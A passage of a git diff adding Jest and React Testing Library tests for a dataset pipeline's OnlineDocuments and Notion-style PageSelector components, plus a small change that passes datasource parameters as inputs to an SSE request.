+      mockStoreState.currentCredentialId = 'cred-1'
+
+      mockSsePost.mockImplementation((url, options, callbacks) => {
+        callbacks.onDataSourceNodeError({
+          event: 'datasource_error',
+          error: 'Failed to fetch documents',
+        })
+      })
+
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDocuments {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockToastNotify).toHaveBeenCalledWith({
+          type: 'error',
+          message: 'Failed to fetch documents',
+        })
+      })
+
+      // Should still show loading since documentsData is empty
+      expect(screen.getByTestId('loading')).toBeInTheDocument()
+    })
+
+    it('should handle credential change and refetch documents', () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'initial-cred'
+      const mockOnCredentialChange = jest.fn()
+      const props = createDefaultProps({ onCredentialChange: mockOnCredentialChange })
+
+      // Act
+      render(<OnlineDocuments {...props} />)
+
+      // Initial fetch
+      expect(mockSsePost).toHaveBeenCalledTimes(1)
+
+      // Change credential
+      fireEvent.click(screen.getByTestId('header-credential-change'))
+      expect(mockOnCredentialChange).toHaveBeenCalledWith('new-cred-id')
+    })
+  })
+
+  // ==========================================
+  // Styling
+  // ==========================================
+  describe('Styling', () => {
+    it('should apply correct container classes', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      const { container } = render(<OnlineDocuments {...props} />)
+
+      // Assert
+      const rootDiv = container.firstChild as HTMLElement
+      expect(rootDiv).toHaveClass('flex', 'flex-col', 'gap-y-2')
+    })
+
+    it('should apply correct classes to main content container', () => {
+      // Arrange
+      mockStoreState.documentsData = [createMockWorkspace()]
+      const props = createDefaultProps()
+
+      // Act
+      const { container } = render(<OnlineDocuments {...props} />)
+
+      // Assert
+      const contentContainer = container.querySelector('.rounded-xl.border')
+      expect(contentContainer).toBeInTheDocument()
+      expect(contentContainer).toHaveClass('border-components-panel-border', 'bg-background-default-subtle')
+    })
+  })
+})
diff --git a/web/app/components/datasets/documents/create-from-pipeline/data-source/online-documents/index.tsx b/web/app/components/datasets/documents/create-from-pipeline/data-source/online-documents/index.tsx
index b7502f337f..607e4c17ea 100644
--- a/web/app/components/datasets/documents/create-from-pipeline/data-source/online-documents/index.tsx
+++ b/web/app/components/datasets/documents/create-from-pipeline/data-source/online-documents/index.tsx
@@ -75,11 +75,17 @@ const OnlineDocuments = ({
 
   const getOnlineDocuments = useCallback(async () => {
     const { currentCredentialId } = dataSourceStore.getState()
+    // Convert datasource_parameters to inputs format for the API
+    const inputs = Object.entries(nodeData.datasource_parameters || {}).reduce((acc, [key, value]) => {
+      acc[key] = typeof value === 'object' && value !== null && 'value' in value ? value.value : value
+      return acc
+    }, {} as Record<string, any>)
+
     ssePost(
       datasourceNodeRunURL,
       {
         body: {
-          inputs: {},
+          inputs,
           credential_id: currentCredentialId,
           datasource_type: DatasourceType.onlineDocument,
         },
@@ -97,7 +103,7 @@ const OnlineDocuments = ({
         },
       },
     )
-  }, [dataSourceStore, datasourceNodeRunURL])
+  }, [dataSourceStore, datasourceNodeRunURL, nodeData.datasource_parameters])
 
   useEffect(() => {
     if (!currentCredentialId) return
diff --git a/web/app/components/datasets/documents/create-from-pipeline/data-source/online-documents/page-selector/index.spec.tsx b/web/app/components/datasets/documents/create-from-pipeline/data-source/online-documents/page-selector/index.spec.tsx
new file mode 100644
index 0000000000..7307ef7a6f
--- /dev/null
+++ b/web/app/components/datasets/documents/create-from-pipeline/data-source/online-documents/page-selector/index.spec.tsx
@@ -0,0 +1,1633 @@
+import { fireEvent, render, screen } from '@testing-library/react'
+import React from 'react'
+import PageSelector from './index'
+import type { NotionPageTreeItem, NotionPageTreeMap } from './index'
+import type { DataSourceNotionPage, DataSourceNotionPageMap } from '@/models/common'
+import { recursivePushInParentDescendants } from './utils'
+
+// ==========================================
+// Mock Modules
+// ==========================================
+
+// Note: react-i18next uses global mock from web/__mocks__/react-i18next.ts
+
+// Mock react-window FixedSizeList - renders items directly for testing
+jest.mock('react-window', () => ({
+  FixedSizeList: ({ children: ItemComponent, itemCount, itemData, itemKey }: any) => (
+    <div data-testid="virtual-list">
+      {Array.from({ length: itemCount }).map((_, index) => (
+        <ItemComponent
+          key={itemKey?.(index, itemData) || index}
+          index={index}
+          style={{ top: index * 28, left: 0, right: 0, width: '100%', position: 'absolute' }}
+          data={itemData}
+        />
+      ))}
+    </div>
+  ),
+}))
+
+// Note: NotionIcon from @/app/components/base/ is NOT mocked - using real component per testing guidelines
+
+// ==========================================
+// Helper Functions for Base Components
+// ==========================================
+// Get checkbox element (uses data-testid pattern from base Checkbox component)
+const getCheckbox = () => document.querySelector('[data-testid^="checkbox-"]') as HTMLElement
+const getAllCheckboxes = () => document.querySelectorAll('[data-testid^="checkbox-"]')
+
+// Get radio element (uses size-4 rounded-full class pattern from base Radio component)
+const getRadio = () => document.querySelector('.size-4.rounded-full') as HTMLElement
+const getAllRadios = () => document.querySelectorAll('.size-4.rounded-full')
+
+// Check if checkbox is checked by looking for check icon
+const isCheckboxChecked = (checkbox: Element) => checkbox.querySelector('[data-testid^="check-icon-"]') !== null
+
+// Check if checkbox is disabled by looking for disabled class
+const isCheckboxDisabled = (checkbox: Element) => checkbox.classList.contains('cursor-not-allowed')
+
+// ==========================================
+// Test Data Builders
+// ==========================================
+const createMockPage = (overrides?: Partial<DataSourceNotionPage>): DataSourceNotionPage => ({
+  page_id: 'page-1',
+  page_name: 'Test Page',
+  page_icon: null,
+  is_bound: false,
+  parent_id: 'root',
+  type: 'page',
+  ...overrides,
+})
+
+const createMockPagesMap = (pages: DataSourceNotionPage[]): DataSourceNotionPageMap => {
+  return pages.reduce((acc, page) => {
+    acc[page.page_id] = { ...page, workspace_id: 'workspace-1' }
+    return acc
+  }, {} as DataSourceNotionPageMap)
+}
+
+type PageSelectorProps = React.ComponentProps<typeof PageSelector>
+
+const createDefaultProps = (overrides?: Partial<PageSelectorProps>): PageSelectorProps => {
+  const defaultList = [createMockPage()]
+  return {
+    checkedIds: new Set<string>(),
+    disabledValue: new Set<string>(),
+    searchValue: '',
+    pagesMap: createMockPagesMap(defaultList),
+    list: defaultList,
+    onSelect: jest.fn(),
+    canPreview: true,
+    onPreview: jest.fn(),
+    isMultipleChoice: true,
+    currentCredentialId: 'cred-1',
+    ...overrides,
+  }
+}
+
+// Helper to create hierarchical page structure
+const createHierarchicalPages = () => {
+  const rootPage = createMockPage({ page_id: 'root-page', page_name: 'Root Page', parent_id: 'root' })
+  const childPage1 = createMockPage({ page_id: 'child-1', page_name: 'Child 1', parent_id: 'root-page' })
+  const childPage2 = createMockPage({ page_id: 'child-2', page_name: 'Child 2', parent_id: 'root-page' })
+  const grandChild = createMockPage({ page_id: 'grandchild-1', page_name: 'Grandchild 1', parent_id: 'child-1' })
+
+  const list = [rootPage, childPage1, childPage2, grandChild]
+  const pagesMap = createMockPagesMap(list)
+
+  return { list, pagesMap, rootPage, childPage1, childPage2, grandChild }
+}
+
+// ==========================================
+// Test Suites
+// ==========================================
+describe('PageSelector', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // ==========================================
+  // Rendering Tests
+  // ==========================================
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('virtual-list')).toBeInTheDocument()
+    })
+
+    it('should render empty state when list is empty', () => {
+      // Arrange
+      const props = createDefaultProps({
+        list: [],
+        pagesMap: {},
+      })
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // Assert
+      expect(screen.getByText('common.dataSource.notion.selector.noSearchResult')).toBeInTheDocument()
+      expect(screen.queryByTestId('virtual-list')).not.toBeInTheDocument()
+    })
+
+    it('should render items using FixedSizeList', () => {
+      // Arrange
+      const pages = [
+        createMockPage({ page_id: 'page-1', page_name: 'Page 1' }),
+        createMockPage({ page_id: 'page-2', page_name: 'Page 2' }),
+      ]
+      const props = createDefaultProps({
+        list: pages,
+        pagesMap: createMockPagesMap(pages),
+      })
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // Assert
+      expect(screen.getByText('Page 1')).toBeInTheDocument()
+      expect(screen.getByText('Page 2')).toBeInTheDocument()
+    })
+
+    it('should render checkboxes when isMultipleChoice is true', () => {
+      // Arrange
+      const props = createDefaultProps({ isMultipleChoice: true })
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // Assert
+      expect(getCheckbox()).toBeInTheDocument()
+    })
+
+    it('should render radio buttons when isMultipleChoice is false', () => {
+      // Arrange
+      const props = createDefaultProps({ isMultipleChoice: false })
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // Assert
+      expect(getRadio()).toBeInTheDocument()
+    })
+
+    it('should render preview button when canPreview is true', () => {
+      // Arrange
+      const props = createDefaultProps({ canPreview: true })
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // Assert
+      expect(screen.getByText('common.dataSource.notion.selector.preview')).toBeInTheDocument()
+    })
+
+    it('should not render preview button when canPreview is false', () => {
+      // Arrange
+      const props = createDefaultProps({ canPreview: false })
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // Assert
+      expect(screen.queryByText('common.dataSource.notion.selector.preview')).not.toBeInTheDocument()
+    })
+
+    it('should render NotionIcon for each page', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // Assert - NotionIcon renders svg when page_icon is null
+      const notionIcon = document.querySelector('.h-5.w-5')
+      expect(notionIcon).toBeInTheDocument()
+    })
+
+    it('should render page name', () => {
+      // Arrange
+      const props = createDefaultProps({
+        list: [createMockPage({ page_name: 'My Custom Page' })],
+        pagesMap: createMockPagesMap([createMockPage({ page_name: 'My Custom Page' })]),
+      })
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // Assert
+      expect(screen.getByText('My Custom Page')).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Props Testing
+  // ==========================================
+  describe('Props', () => {
+    describe('checkedIds prop', () => {
+      it('should mark checkbox as checked when page is in checkedIds', () => {
+        // Arrange
+        const page = createMockPage({ page_id: 'page-1' })
+        const props = createDefaultProps({
+          list: [page],
+          pagesMap: createMockPagesMap([page]),
+          checkedIds: new Set(['page-1']),
+        })
+
+        // Act
+        render(<PageSelector {...props} />)
+
+        // Assert
+        const checkbox = getCheckbox()
+        expect(checkbox).toBeInTheDocument()
+        expect(isCheckboxChecked(checkbox)).toBe(true)
+      })
+
+      it('should mark checkbox as unchecked when page is not in checkedIds', () => {
+        // Arrange
+        const page = createMockPage({ page_id: 'page-1' })
+        const props = createDefaultProps({
+          list: [page],
+          pagesMap: createMockPagesMap([page]),
+          checkedIds: new Set(),
+        })
+
+        // Act
+        render(<PageSelector {...props} />)
+
+        // Assert
+        const checkbox = getCheckbox()
+        expect(checkbox).toBeInTheDocument()
+        expect(isCheckboxChecked(checkbox)).toBe(false)
+      })
+
+      it('should handle empty checkedIds', () => {
+        // Arrange
+        const props = createDefaultProps({ checkedIds: new Set() })
+
+        // Act
+        render(<PageSelector {...props} />)
+
+        // Assert
+        const checkbox = getCheckbox()
+        expect(checkbox).toBeInTheDocument()
+        expect(isCheckboxChecked(checkbox)).toBe(false)
+      })
+
+      it('should handle multiple checked items', () => {
+        // Arrange
+        const pages = [
+          createMockPage({ page_id: 'page-1', page_name: 'Page 1' }),
+          createMockPage({ page_id: 'page-2', page_name: 'Page 2' }),
+          createMockPage({ page_id: 'page-3', page_name: 'Page 3' }),
+        ]
+        const props = createDefaultProps({
+          list: pages,
+          pagesMap: createMockPagesMap(pages),
+          checkedIds: new Set(['page-1', 'page-3']),
+        })
+
+        // Act
+        render(<PageSelector {...props} />)
+
+        // Assert
+        const checkboxes = getAllCheckboxes()
+        expect(isCheckboxChecked(checkboxes[0])).toBe(true)
+        expect(isCheckboxChecked(checkboxes[1])).toBe(false)
+        expect(isCheckboxChecked(checkboxes[2])).toBe(true)
+      })
+    })
+
+    describe('disabledValue prop', () => {
+      it('should disable checkbox when page is in disabledValue', () => {
+        // Arrange
+        const page = createMockPage({ page_id: 'page-1' })
+        const props = createDefaultProps({
+          list: [page],
+          pagesMap: createMockPagesMap([page]),
+          disabledValue: new Set(['page-1']),
+        })
+
+        // Act
+        render(<PageSelector {...props} />)
+
+        // Assert
+        const checkbox = getCheckbox()
+        expect(checkbox).toBeInTheDocument()
+        expect(isCheckboxDisabled(checkbox)).toBe(true)
+      })
+
+      it('should not disable checkbox when page is not in disabledValue', () => {
+        // Arrange
+        const page = createMockPage({ page_id: 'page-1' })
+        const props = createDefaultProps({
+          list: [page],
+          pagesMap: createMockPagesMap([page]),
+          disabledValue: new Set(),
+        })
+
+        // Act
+        render(<PageSelector {...props} />)
+
+        // Assert
+        const checkbox = getCheckbox()
+        expect(checkbox).toBeInTheDocument()
+        expect(isCheckboxDisabled(checkbox)).toBe(false)
+      })
+
+      it('should handle partial disabled items', () => {
+        // Arrange
+        const pages = [
+          createMockPage({ page_id: 'page-1', page_name: 'Page 1' }),
+          createMockPage({ page_id: 'page-2', page_name: 'Page 2' }),
+        ]
+        const props = createDefaultProps({
+          list: pages,
+          pagesMap: createMockPagesMap(pages),
+          disabledValue: new Set(['page-1']),
+        })
+
+        // Act
+        render(<PageSelector {...props} />)
+
+        // Assert
+        const checkboxes = getAllCheckboxes()
+        expect(isCheckboxDisabled(checkboxes[0])).toBe(true)
+        expect(isCheckboxDisabled(checkboxes[1])).toBe(false)
+      })
+    })
+
+    describe('searchValue prop', () => {
+      it('should filter pages by search value', () => {
+        // Arrange
+        const pages = [
+          createMockPage({ page_id: 'page-1', page_name: 'Apple Page' }),
+          createMockPage({ page_id: 'page-2', page_name: 'Banana Page' }),
+          createMockPage({ page_id: 'page-3', page_name: 'Apple Pie' }),
+        ]
+        const props = createDefaultProps({
+          list: pages,
+          pagesMap: createMockPagesMap(pages),
+          searchValue: 'Apple',
+        })
+
+        // Act
+        render(<PageSelector {...props} />)
+
+        // Assert - Only pages containing "Apple" should be visible
+        // Use getAllByText since the page name appears in both title div and breadcrumbs
+        expect(screen.getAllByText('Apple Page').length).toBeGreaterThan(0)
+        expect(screen.getAllByText('Apple Pie').length).toBeGreaterThan(0)
+        // Banana Page is filtered out because it doesn't contain "Apple"
+        expect(screen.queryByText('Banana Page')).not.toBeInTheDocument()
+      })
+
+      it('should show empty state when no pages match search', () => {
+        // Arrange
+        const pages = [createMockPage({ page_id: 'page-1', page_name: 'Test Page' })]
+        const props = createDefaultProps({
+          list: pages,
+          pagesMap: createMockPagesMap(pages),
+          searchValue: 'NonExistent',
+        })
+
+        // Act
+        render(<PageSelector {...props} />)
+
+        // Assert
+        expect(screen.getByText('common.dataSource.notion.selector.noSearchResult')).toBeInTheDocument()
+      })
+
+      it('should show all pages when searchValue is empty', () => {
+        // Arrange
+        const pages = [
+          createMockPage({ page_id: 'page-1', page_name: 'Page 1' }),
+          createMockPage({ page_id: 'page-2', page_name: 'Page 2' }),
+        ]
+        const props = createDefaultProps({
+          list: pages,
+          pagesMap: createMockPagesMap(pages),
+          searchValue: '',
+        })
+
+        // Act
+        render(<PageSelector {...props} />)
+
+        // Assert
+        expect(screen.getByText('Page 1')).toBeInTheDocument()
+        expect(screen.getByText('Page 2')).toBeInTheDocument()
+      })
+
+      it('should show breadcrumbs when searchValue is present', () => {
+        // Arrange
+        const { list, pagesMap } = createHierarchicalPages()
+        const props = createDefaultProps({
+          list,
+          pagesMap,
+          searchValue: 'Grandchild',
+        })
+
+        // Act
+        render(<PageSelector {...props} />)
+
+        // Assert - page name should be visible
+        expect(screen.getByText('Grandchild 1')).toBeInTheDocument()
+      })
+
+      it('should perform case-sensitive search', () => {
+        // Arrange
+        const pages = [
+          createMockPage({ page_id: 'page-1', page_name: 'Apple Page' }),
+          createMockPage({ page_id: 'page-2', page_name: 'apple page' }),
+        ]
+        const props = createDefaultProps({
+          list: pages,
+          pagesMap: createMockPagesMap(pages),
+          searchValue: 'Apple',
+        })
+
+        // Act
+        render(<PageSelector {...props} />)
+
+        // Assert - Only 'Apple Page' should match (case-sensitive)
+        // Use getAllByText since the page name appears in both title div and breadcrumbs
+        expect(screen.getAllByText('Apple Page').length).toBeGreaterThan(0)
+        expect(screen.queryByText('apple page')).not.toBeInTheDocument()
+      })
+    })
+
+    describe('canPreview prop', () => {
+      it('should show preview button when canPreview is true', () => {
+        // Arrange
+        const props = createDefaultProps({ canPreview: true })
+
+        // Act
+        render(<PageSelector {...props} />)
+
+        // Assert
+        expect(screen.getByText('common.dataSource.notion.selector.preview')).toBeInTheDocument()
+      })
+
+      it('should hide preview button when canPreview is false', () => {
+        // Arrange
+        const props = createDefaultProps({ canPreview: false })
+
+        // Act
+        render(<PageSelector {...props} />)
+
+        // Assert
+        expect(screen.queryByText('common.dataSource.notion.selector.preview')).not.toBeInTheDocument()
+      })
+
+      it('should use default value true when canPreview is not provided', () => {
+        // Arrange
+        const props = createDefaultProps()
+        delete (props as any).canPreview
+
+        // Act
+        render(<PageSelector {...props} />)
+
+        // Assert
+        expect(screen.getByText('common.dataSource.notion.selector.preview')).toBeInTheDocument()
+      })
+    })
+
+    describe('isMultipleChoice prop', () => {
+      it('should render checkbox when isMultipleChoice is true', () => {
+        // Arrange
+        const props = createDefaultProps({ isMultipleChoice: true })
+
+        // Act
+        render(<PageSelector {...props} />)
+
+        // Assert
+        expect(getCheckbox()).toBeInTheDocument()
+        expect(getRadio()).not.toBeInTheDocument()
+      })
+
+      it('should render radio when isMultipleChoice is false', () => {
+        // Arrange
+        const props = createDefaultProps({ isMultipleChoice: false })
+
+        // Act
+        render(<PageSelector {...props} />)
+
+        // Assert
+        expect(getRadio()).toBeInTheDocument()
+        expect(getCheckbox()).not.toBeInTheDocument()
+      })
+
+      it('should use default value true when isMultipleChoice is not provided', () => {
+        // Arrange
+        const props = createDefaultProps()
+        delete (props as any).isMultipleChoice
+
+        // Act
+        render(<PageSelector {...props} />)
+
+        // Assert
+        expect(getCheckbox()).toBeInTheDocument()
+      })
+    })
+
+    describe('onSelect prop', () => {
+      it('should call onSelect when checkbox is clicked', () => {
+        // Arrange
+        const mockOnSelect = jest.fn()
+        const props = createDefaultProps({ onSelect: mockOnSelect })
+
+        // Act
+        render(<PageSelector {...props} />)
+        fireEvent.click(getCheckbox())
+
+        // Assert
+        expect(mockOnSelect).toHaveBeenCalledTimes(1)
+        expect(mockOnSelect).toHaveBeenCalledWith(expect.any(Set))
+      })
+
+      it('should pass updated set to onSelect', () => {
+        // Arrange
+        const mockOnSelect = jest.fn()
+        const page = createMockPage({ page_id: 'page-1' })
+        const props = createDefaultProps({
+          list: [page],
+          pagesMap: createMockPagesMap([page]),
+          checkedIds: new Set(),
+          onSelect: mockOnSelect,
+        })
+
+        // Act
+        render(<PageSelector {...props} />)
+        fireEvent.click(getCheckbox())
+
+        // Assert
+        const calledSet = mockOnSelect.mock.calls[0][0] as Set<string>
+        expect(calledSet.has('page-1')).toBe(true)
+      })
+    })
+
+    describe('onPreview prop', () => {
+      it('should call onPreview when preview button is clicked', () => {
+        // Arrange
+        const mockOnPreview = jest.fn()
+        const page = createMockPage({ page_id: 'page-1' })
+        const props = createDefaultProps({
+          list: [page],
+          pagesMap: createMockPagesMap([page]),
+          onPreview: mockOnPreview,
+          canPreview: true,
+        })
+
+        // Act
+        render(<PageSelector {...props} />)
+        fireEvent.click(screen.getByText('common.dataSource.notion.selector.preview'))
+
+        // Assert
+        expect(mockOnPreview).toHaveBeenCalledWith('page-1')
+      })
+
+      it('should not throw when onPreview is undefined', () => {
+        // Arrange
+        const props = createDefaultProps({
+          onPreview: undefined,
+          canPreview: true,
+        })
+
+        // Act & Assert
+        expect(() => {
+          render(<PageSelector {...props} />)
+          fireEvent.click(screen.getByText('common.dataSource.notion.selector.preview'))
+        }).not.toThrow()
+      })
+    })
+
+    describe('currentCredentialId prop', () => {
+      it('should reset dataList when currentCredentialId changes', () => {
+        // Arrange
+        const pages = [
+          createMockPage({ page_id: 'page-1', page_name: 'Page 1' }),
+        ]
+        const props = createDefaultProps({
+          list: pages,
+          pagesMap: createMockPagesMap(pages),
+          currentCredentialId: 'cred-1',
+        })
+
+        // Act
+        const { rerender } = render(<PageSelector {...props} />)
+
+        // Assert - Initial render
+        expect(screen.getByText('Page 1')).toBeInTheDocument()
+
+        // Rerender with new credential
+        rerender(<PageSelector {...props} currentCredentialId="cred-2" />)
+
+        // Assert - Should still show pages (reset and rebuild)
+        expect(screen.getByText('Page 1')).toBeInTheDocument()
+      })
+    })
+  })
+
+  // ==========================================
+  // State Management and Updates
+  // ==========================================
+  describe('State Management and Updates', () => {
+    it('should initialize dataList with root level pages', () => {
+      // Arrange
+      const { list, pagesMap, rootPage, childPage1 } = createHierarchicalPages()
+      const props = createDefaultProps({
+        list,
+        pagesMap,
+      })
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // Assert - Only root level page should be visible initially
+      expect(screen.getByText(rootPage.page_name)).toBeInTheDocument()
+      // Child pages should not be visible until expanded
+      expect(screen.queryByText(childPage1.page_name)).not.toBeInTheDocument()
+    })
+
+    it('should update dataList when expanding a page with children', () => {
+      // Arrange
+      const { list, pagesMap, rootPage, childPage1, childPage2 } = createHierarchicalPages()
+      const props = createDefaultProps({
+        list,
+        pagesMap,
+      })
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // Find and click the expand arrow (uses hover:bg-components-button-ghost-bg-hover class)
+      const arrowButton = document.querySelector('[class*="hover:bg-components-button-ghost-bg-hover"]')
+      if (arrowButton)
+        fireEvent.click(arrowButton)
+
+      // Assert
+      expect(screen.getByText(rootPage.page_name)).toBeInTheDocument()
+      expect(screen.getByText(childPage1.page_name)).toBeInTheDocument()
+      expect(screen.getByText(childPage2.page_name)).toBeInTheDocument()
+    })
+
+    it('should maintain currentPreviewPageId state', () => {
+      // Arrange
+      const mockOnPreview = jest.fn()
+      const pages = [
+        createMockPage({ page_id: 'page-1', page_name: 'Page 1' }),
+        createMockPage({ page_id: 'page-2', page_name: 'Page 2' }),
+      ]
+      const props = createDefaultProps({
+        list: pages,
+        pagesMap: createMockPagesMap(pages),
+        onPreview: mockOnPreview,
+        canPreview: true,
+      })
+
+      // Act
+      render(<PageSelector {...props} />)
+      const previewButtons = screen.getAllByText('common.dataSource.notion.selector.preview')
+      fireEvent.click(previewButtons[0])
+
+      // Assert
+      expect(mockOnPreview).toHaveBeenCalledWith('page-1')
+    })
+
+    it('should use searchDataList when searchValue is present', () => {
+      // Arrange
+      const pages = [
+        createMockPage({ page_id: 'page-1', page_name: 'Apple' }),
+        createMockPage({ page_id: 'page-2', page_name: 'Banana' }),
+      ]
+      const props = createDefaultProps({
+        list: pages,
+        pagesMap: createMockPagesMap(pages),
+        searchValue: 'Apple',
+      })
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // Assert - Only pages matching search should be visible
+      // Use getAllByText since the page name appears in both title div and breadcrumbs
+      expect(screen.getAllByText('Apple').length).toBeGreaterThan(0)
+      expect(screen.queryByText('Banana')).not.toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Side Effects and Cleanup
+  // ==========================================
+  describe('Side Effects and Cleanup', () => {
+    it('should reinitialize dataList when currentCredentialId changes', () => {
+      // Arrange
+      const pages = [createMockPage({ page_id: 'page-1', page_name: 'Page 1' })]
+      const props = createDefaultProps({
+        list: pages,
+        pagesMap: createMockPagesMap(pages),
+        currentCredentialId: 'cred-1',
+      })
+
+      // Act
+      const { rerender } = render(<PageSelector {...props} />)
+      expect(screen.getByText('Page 1')).toBeInTheDocument()
+
+      // Change credential
+      rerender(<PageSelector {...props} currentCredentialId="cred-2" />)
+
+      // Assert - Component should still render correctly
+      expect(screen.getByText('Page 1')).toBeInTheDocument()
+    })
+
+    it('should filter root pages correctly on initialization', () => {
+      // Arrange
+      const { list, pagesMap, rootPage, childPage1 } = createHierarchicalPages()
+      const props = createDefaultProps({
+        list,
+        pagesMap,
+      })
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // Assert - Only root level pages visible
+      expect(screen.getByText(rootPage.page_name)).toBeInTheDocument()
+      expect(screen.queryByText(childPage1.page_name)).not.toBeInTheDocument()
+    })
+
+    it('should include pages whose parent is not in pagesMap', () => {
+      // Arrange
+      const orphanPage = createMockPage({
+        page_id: 'orphan-page',
+        page_name: 'Orphan Page',
+        parent_id: 'non-existent-parent',
+      })
+      const props = createDefaultProps({
+        list: [orphanPage],
+        pagesMap: createMockPagesMap([orphanPage]),
+      })
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // Assert - Orphan page should be visible at root level
+      expect(screen.getByText('Orphan Page')).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Callback Stability and Memoization
+  // ==========================================
+  describe('Callback Stability and Memoization', () => {
+    it('should have stable handleToggle that expands children', () => {
+      // Arrange
+      const { list, pagesMap, childPage1, childPage2 } = createHierarchicalPages()
+      const props = createDefaultProps({
+        list,
+        pagesMap,
+      })
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // Find expand arrow for root page (has RiArrowRightSLine icon)
+      const expandArrow = document.querySelector('[class*="hover:bg-components-button-ghost-bg-hover"]')
+      if (expandArrow)
+        fireEvent.click(expandArrow)
+
+      // Assert - Children should be visible
+      expect(screen.getByText(childPage1.page_name)).toBeInTheDocument()
+      expect(screen.getByText(childPage2.page_name)).toBeInTheDocument()
+    })
+
+    it('should have stable handleToggle that collapses descendants', () => {
+      // Arrange
+      const { list, pagesMap, childPage1, childPage2 } = createHierarchicalPages()
+      const props = createDefaultProps({
+        list,
+        pagesMap,
+      })
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // First expand
+      const expandArrow = document.querySelector('[class*="hover:bg-components-button-ghost-bg-hover"]')
+      if (expandArrow) {
+        fireEvent.click(expandArrow)
+        // Then collapse
+        fireEvent.click(expandArrow)
+      }
+
+      // Assert - Children should be hidden again
+      expect(screen.queryByText(childPage1.page_name)).not.toBeInTheDocument()
+      expect(screen.queryByText(childPage2.page_name)).not.toBeInTheDocument()
+    })
+
+    it('should have stable handleCheck that adds page and descendants to selection', () => {
+      // Arrange
+      const mockOnSelect = jest.fn()
+      const { list, pagesMap } = createHierarchicalPages()
+      const props = createDefaultProps({
+        list,
+        pagesMap,
+        onSelect: mockOnSelect,
+        checkedIds: new Set(),
+        isMultipleChoice: true,
+      })
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // Check the root page
+      fireEvent.click(getCheckbox())
+
+      // Assert - onSelect should be called with the page and its descendants
+      expect(mockOnSelect).toHaveBeenCalled()
+      const selectedSet = mockOnSelect.mock.calls[0][0] as Set<string>
+      expect(selectedSet.has('root-page')).toBe(true)
+    })
+
+    it('should have stable handleCheck that removes page and descendants from selection', () => {
+      // Arrange
+      const mockOnSelect = jest.fn()
+      const { list, pagesMap } = createHierarchicalPages()
+      const props = createDefaultProps({
+        list,
+        pagesMap,
+        onSelect: mockOnSelect,
+        checkedIds: new Set(['root-page', 'child-1', 'child-2', 'grandchild-1']),
+        isMultipleChoice: true,
+      })
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // Uncheck the root page
+      fireEvent.click(getCheckbox())
+
+      // Assert - onSelect should be called with empty/reduced set
+      expect(mockOnSelect).toHaveBeenCalled()
+    })
+
+    it('should have stable handlePreview that updates currentPreviewPageId', () => {
+      // Arrange
+      const mockOnPreview = jest.fn()
+      const page = createMockPage({ page_id: 'preview-page' })
+      const props = createDefaultProps({
+        list: [page],
+        pagesMap: createMockPagesMap([page]),
+        onPreview: mockOnPreview,
+        canPreview: true,
+      })
+
+      // Act
+      render(<PageSelector {...props} />)
+      fireEvent.click(screen.getByText('common.dataSource.notion.selector.preview'))
+
+      // Assert
+      expect(mockOnPreview).toHaveBeenCalledWith('preview-page')
+    })
+  })
+
+  // ==========================================
+  // Memoization Logic and Dependencies
+  // ==========================================
+  describe('Memoization Logic and Dependencies', () => {
+    it('should compute listMapWithChildrenAndDescendants correctly', () => {
+      // Arrange
+      const { list, pagesMap } = createHierarchicalPages()
+      const props = createDefaultProps({
+        list,
+        pagesMap,
+      })
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // Assert - Tree structure should be built (verified by expand functionality)
+      const expandArrow = document.querySelector('[class*="hover:bg-components-button-ghost-bg-hover"]')
+      expect(expandArrow).toBeInTheDocument() // Root page has children
+    })
+
+    it('should recompute listMapWithChildrenAndDescendants when list changes', () => {
+      // Arrange
+      const initialList = [createMockPage({ page_id: 'page-1', page_name: 'Page 1' })]
+      const props = createDefaultProps({
+        list: initialList,
+        pagesMap: createMockPagesMap(initialList),
+      })
+
+      // Act
+      const { rerender } = render(<PageSelector {...props} />)
+      expect(screen.getByText('Page 1')).toBeInTheDocument()
+
+      // Update with new list
+      const newList = [
+        createMockPage({ page_id: 'page-1', page_name: 'Page 1' }),
+        createMockPage({ page_id: 'page-2', page_name: 'Page 2' }),
+      ]
+      rerender(<PageSelector {...props} list={newList} pagesMap={createMockPagesMap(newList)} />)
+
+      // Assert
+      expect(screen.getByText('Page 1')).toBeInTheDocument()
+      // Page 2 won't show because dataList state hasn't updated (only resets on credentialId change)
+    })
+
+    it('should recompute listMapWithChildrenAndDescendants when pagesMap changes', () => {
+      // Arrange
+      const initialList = [createMockPage({ page_id: 'page-1', page_name: 'Page 1' })]
+      const props = createDefaultProps({
+        list: initialList,
+        pagesMap: createMockPagesMap(initialList),
+      })
+
+      // Act
+      const { rerender } = render(<PageSelector {...props} />)
+
+      // Update pagesMap
+      const newPagesMap = {
+        ...createMockPagesMap(initialList),
+        'page-2': { ...createMockPage({ page_id: 'page-2' }), workspace_id: 'ws-1' },
+      }
+      rerender(<PageSelector {...props} pagesMap={newPagesMap} />)
+
